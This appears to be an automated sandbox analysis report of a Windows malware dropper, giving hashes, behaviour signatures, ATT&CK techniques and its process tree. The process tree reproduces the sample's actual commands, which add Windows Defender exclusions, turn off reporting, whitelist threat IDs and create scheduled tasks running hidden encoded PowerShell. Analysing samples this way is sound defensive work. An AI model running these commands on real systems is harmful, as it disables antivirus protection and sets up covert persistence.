Analysis

  • max time kernel
    204s
  • max time network
    208s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-11-2022 14:34

General

  • Target

    file.exe

  • Size

    7.2MB

  • MD5

    293bcb13a9d502897ac154d264a446e9

  • SHA1

    c786d5c870e7041e2559d99bd548bccafe23574e

  • SHA256

    64bc066b8f3f1b3a29c41d115b18d998f467166eb44ae10fb27f8d65ad19767c

  • SHA512

    c95fc69a644da84ee9009f443b02d4e2b8a57491e0df33054cf7ab5e9f52362fa2d9c655a61af9392bd184d61ca580206fd6da41494b5afb49a2b1a8f1f151d9

  • SSDEEP

    196608:91OU82JjFcnOlU6DOKr9UanEcEFi+53u3N1ep:3OU82JjOn32OgmPD5UN1s

Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Users\Admin\AppData\Local\Temp\7zS3354.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1804
      • C:\Users\Admin\AppData\Local\Temp\7zS396F.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:2972
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1796
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1264
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:3640
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:3476
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2344
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4044
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:3108
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:3656
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gmvxFUVoE" /SC once /ST 11:52:18 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:4804
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gmvxFUVoE"
                  4⤵
                    PID:3060
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gmvxFUVoE"
                    4⤵
                      PID:1764
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bPisEBnRwoxYOmuHrm" /SC once /ST 15:37:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\fkmossC.exe\" mF /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:4444
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2356
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:1592
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:1168
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:4528
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:2860
                      • C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\fkmossC.exe
                        C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\fkmossC.exe mF /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        PID:5104
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3824

                      Network

                      MITRE ATT&CK Matrix ATT&CK v6

                      Execution

                      Scheduled Task

                      1
                      T1053

                      Persistence

                      Scheduled Task

                      1
                      T1053

                      Privilege Escalation

                      Scheduled Task

                      1
                      T1053

                      Discovery

                      Query Registry

                      3
                      T1012

                      System Information Discovery

                      4
                      T1082

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\Local\Temp\7zS3354.tmp\Install.exe
                        Filesize

                        6.3MB

                        MD5

                        6ebc8b5c2f88d55faf7caabefabd5957

                        SHA1

                        89ad8fb53679bd16b980fcd74a395e7475e930bc

                        SHA256

                        54d4c1af2f899aaaa9e46dad70d55f516e953b761e4c46980e985aa29ae3dbab

                        SHA512

                        2c131294f735eb5c25e04b9db4b52dde07df5d60afcbf0c5b9f27b1e93901ef378fcc812f94176cf216e0e8d967dbaae6854f901a82d34d370e3f9f84300d84e

                      • C:\Users\Admin\AppData\Local\Temp\7zS3354.tmp\Install.exe
                        Filesize

                        6.3MB

                        MD5

                        6ebc8b5c2f88d55faf7caabefabd5957

                        SHA1

                        89ad8fb53679bd16b980fcd74a395e7475e930bc

                        SHA256

                        54d4c1af2f899aaaa9e46dad70d55f516e953b761e4c46980e985aa29ae3dbab

                        SHA512

                        2c131294f735eb5c25e04b9db4b52dde07df5d60afcbf0c5b9f27b1e93901ef378fcc812f94176cf216e0e8d967dbaae6854f901a82d34d370e3f9f84300d84e

                      • C:\Users\Admin\AppData\Local\Temp\7zS396F.tmp\Install.exe
                        Filesize

                        6.8MB

                        MD5

                        a37dbf6bceec57a1792cefc8691b4930

                        SHA1

                        97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                        SHA256

                        edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                        SHA512

                        b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                      • C:\Users\Admin\AppData\Local\Temp\7zS396F.tmp\Install.exe
                        Filesize

                        6.8MB

                        MD5

                        a37dbf6bceec57a1792cefc8691b4930

                        SHA1

                        97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                        SHA256

                        edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                        SHA512

                        b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                      • C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\fkmossC.exe
                        Filesize

                        6.8MB

                        MD5

                        a37dbf6bceec57a1792cefc8691b4930

                        SHA1

                        97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                        SHA256

                        edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                        SHA512

                        b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                      • memory/1264-143-0x0000000000000000-mapping.dmp
                      • memory/1592-153-0x0000000000000000-mapping.dmp
                      • memory/1764-155-0x0000000000000000-mapping.dmp
                      • memory/1796-141-0x0000000000000000-mapping.dmp
                      • memory/1804-132-0x0000000000000000-mapping.dmp
                      • memory/2344-142-0x0000000000000000-mapping.dmp
                      • memory/2356-154-0x00007FFA43910000-0x00007FFA443D1000-memory.dmp
                        Filesize

                        10.8MB

                      • memory/2356-151-0x00007FFA43910000-0x00007FFA443D1000-memory.dmp
                        Filesize

                        10.8MB

                      • memory/2356-152-0x0000018BB3D00000-0x0000018BB3D22000-memory.dmp
                        Filesize

                        136KB

                      • memory/2972-135-0x0000000000000000-mapping.dmp
                      • memory/2972-138-0x0000000010000000-0x0000000010D2B000-memory.dmp
                        Filesize

                        13.2MB

                      • memory/3060-150-0x0000000000000000-mapping.dmp
                      • memory/3108-147-0x0000000000000000-mapping.dmp
                      • memory/3476-146-0x0000000000000000-mapping.dmp
                      • memory/3640-145-0x0000000000000000-mapping.dmp
                      • memory/3656-148-0x0000000000000000-mapping.dmp
                      • memory/3824-158-0x0000000001830000-0x0000000001866000-memory.dmp
                        Filesize

                        216KB

                      • memory/3824-159-0x0000000004230000-0x0000000004858000-memory.dmp
                        Filesize

                        6.2MB

                      • memory/3824-160-0x0000000004A60000-0x0000000004A82000-memory.dmp
                        Filesize

                        136KB

                      • memory/3824-161-0x0000000004B00000-0x0000000004B66000-memory.dmp
                        Filesize

                        408KB

                      • memory/3824-162-0x0000000004B70000-0x0000000004BD6000-memory.dmp
                        Filesize

                        408KB

                      • memory/4044-144-0x0000000000000000-mapping.dmp
                      • memory/4444-156-0x0000000000000000-mapping.dmp
                      • memory/4804-149-0x0000000000000000-mapping.dmp